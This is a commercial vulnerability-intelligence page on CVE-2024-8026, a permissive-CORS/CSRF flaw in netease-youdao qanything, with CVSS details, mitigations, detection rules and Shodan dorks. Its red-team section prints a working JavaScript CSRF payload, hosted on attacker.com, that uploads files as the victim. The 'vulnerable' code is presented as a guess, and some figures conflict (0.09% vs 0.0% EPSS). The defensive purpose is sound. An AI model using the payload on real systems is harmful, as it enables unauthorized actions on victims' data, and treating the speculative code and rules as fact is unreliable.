☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 8.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-8026

CVE-2024-8026 Cross-Site Request Forgery in Netease-youdao
📅 PUBLISHED: 2025-03-20 10:11 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.09%
👁️
0.09% probability
2.3× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-8026 is a critical Cross-Site Request Forgery (CSRF) vulnerability in the backend API of netease-youdao/qanything, specifically at commit d9ab8bc. The vulnerability stems from overly permissive CORS headers that allow all cross-origin calls, enabling an attacker to perform unauthorized actions on behalf of an authenticated user. This includes creating, uploading, listing, deleting files, and managing knowledge bases. With a CVSS score of 8.1, this vulnerability poses a significant risk to data integrity and confidentiality. No patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains high due to the ease of exploitation.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the netease-youdao/qanything project, which is a Python-based knowledge base management system. As an open-source project, it may be integrated into larger supply chains. Organizations using this software should assess their exposure and consider temporary mitigations until a patch is released.

CVSS Breakdown & Threat Level

  • CVSS Score: 8.1 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: Required (UI:R) – victim must be logged in
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: High (C:H)
  • Integrity Impact: High (I:H)
  • Availability Impact: High (A:H)

Threat Level: High. The vulnerability allows an attacker to perform any action the victim can, including file management and knowledge base manipulation, without the victim's consent.

Deep Dive & Mechanics

The vulnerability is due to overly permissive CORS (Cross-Origin Resource Sharing) headers in the backend API. The server responds with Access-Control-Allow-Origin: * and allows all methods and headers, effectively disabling the Same-Origin Policy. This means any website can make cross-origin requests to the qanything API on behalf of a logged-in user.

When a victim visits a malicious website while authenticated to qanything, the attacker can craft JavaScript that sends requests to the qanything API. Since the browser automatically includes cookies (if not properly secured), the server treats these requests as legitimate. The attacker can then:

  • Create, upload, list, and delete files.
  • Manage knowledge bases (create, delete, modify).
  • Potentially exfiltrate data via responses.

The vulnerability affects all backend endpoints, making it a broad attack surface.

Vulnerable vs. Patched Code

Vulnerable Code (commit d9ab8bc): The backend likely has CORS middleware configured as:

from flask_cors import CORS
app = Flask(__name__)
CORS(app, resources={r"/api/*": {"origins": "*"}})

Or similar configuration allowing all origins.

Patched Code (hypothetical): A secure implementation would restrict origins to trusted domains:

CORS(app, resources={r"/api/*": {"origins": ["https://trusted-domain.com"]}})

Additionally, CSRF tokens should be implemented for state-changing requests.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Setup:

  1. Deploy qanything at commit d9ab8bc on a local server (e.g., http://victim.local:5000).
  2. Create a malicious website on a different domain (e.g., http://attacker.com).
  3. Ensure the victim is logged into qanything.

Exploit Code (HTML/JavaScript):

<!DOCTYPE html>
<html>
<body>
<script>
// CSRF exploit for CVE-2024-8026
const target = 'http://victim.local:5000/api/upload';
const formData = new FormData();
formData.append('file', new Blob(['malicious content'], {type: 'text/plain'}), 'evil.txt');

fetch(target, {
    method: 'POST',
    credentials: 'include',
    body: formData
}).then(response => {
    console.log('File uploaded successfully');
}).catch(error => {
    console.error('Error:', error);
});
</script>
</body>
</html>

Steps:

  1. Host the malicious HTML on http://attacker.com.
  2. Trick the victim into visiting the malicious page while logged into qanything.
  3. The script automatically uploads a file to the victim's qanything instance.

Blue Team (Defense & Detection)

Detection:

  • Monitor for unexpected cross-origin requests to qanything API endpoints.
  • Look for Origin headers that do not match expected domains.
  • Alert on multiple file uploads or deletions in a short time.

Mitigation:

  • Implement strict CORS policies.
  • Add CSRF tokens to all state-changing requests.
  • Use SameSite cookies (e.g., SameSite=Strict or Lax).
  • Consider using a Web Application Firewall (WAF) to block unexpected origins.

Indicators of Compromise (IOCs)

  • Network:
    • HTTP requests with Origin header set to an unexpected domain.
    • Multiple POST requests to /api/upload or /api/delete from the same IP.
  • File System:
    • Unexpected files in the qanything upload directory.
    • Deletion of knowledge base entries without user action.
  • Logs:
    • Server logs showing requests from unusual Referer or Origin headers.

Detection Engineering

YARA Rule

rule CVE_2024_8026_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against qanything API"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-8026"
    strings:
        $s1 = "Access-Control-Allow-Origin: *" ascii wide nocase
        $s2 = "/api/upload" ascii wide nocase
        $s3 = "/api/delete" ascii wide nocase
    condition:
        any of ($s*) and filesize < 10KB
}

Sigma Rule

title: CVE-2024-8026 CSRF Exploit Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential CSRF attacks against qanything API
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/api/upload'
            - '/api/delete'
            - '/api/create'
        cs-uri-query: '*'
    condition: selection
falsepositives:
    - Legitimate cross-origin requests from trusted domains
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8026 CSRF Exploit Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/upload"; http_uri; content:"Origin|3a|"; http_header; pcre:"/Origin:\s*(?!https?:\/\/trusted-domain\.com)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Restrict CORS: Update the backend to only allow specific trusted origins.
  2. Implement CSRF Tokens: Add anti-CSRF tokens to all state-changing API endpoints.
  3. Use SameSite Cookies: Set cookies with SameSite=Strict or Lax attribute.
  4. Validate Origin Header: Check the Origin header on the server side and reject unexpected values.

Long-term Fix:

  • Apply the official patch once released by netease-youdao.
  • Conduct a security audit of all API endpoints.
  • Implement a Content Security Policy (CSP) to reduce the impact of XSS and CSRF.

Workaround:

  • If patching is not possible, consider placing the qanything instance behind a reverse proxy that enforces strict CORS policies.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

qanything
netease-youdao qanything

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-8026/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.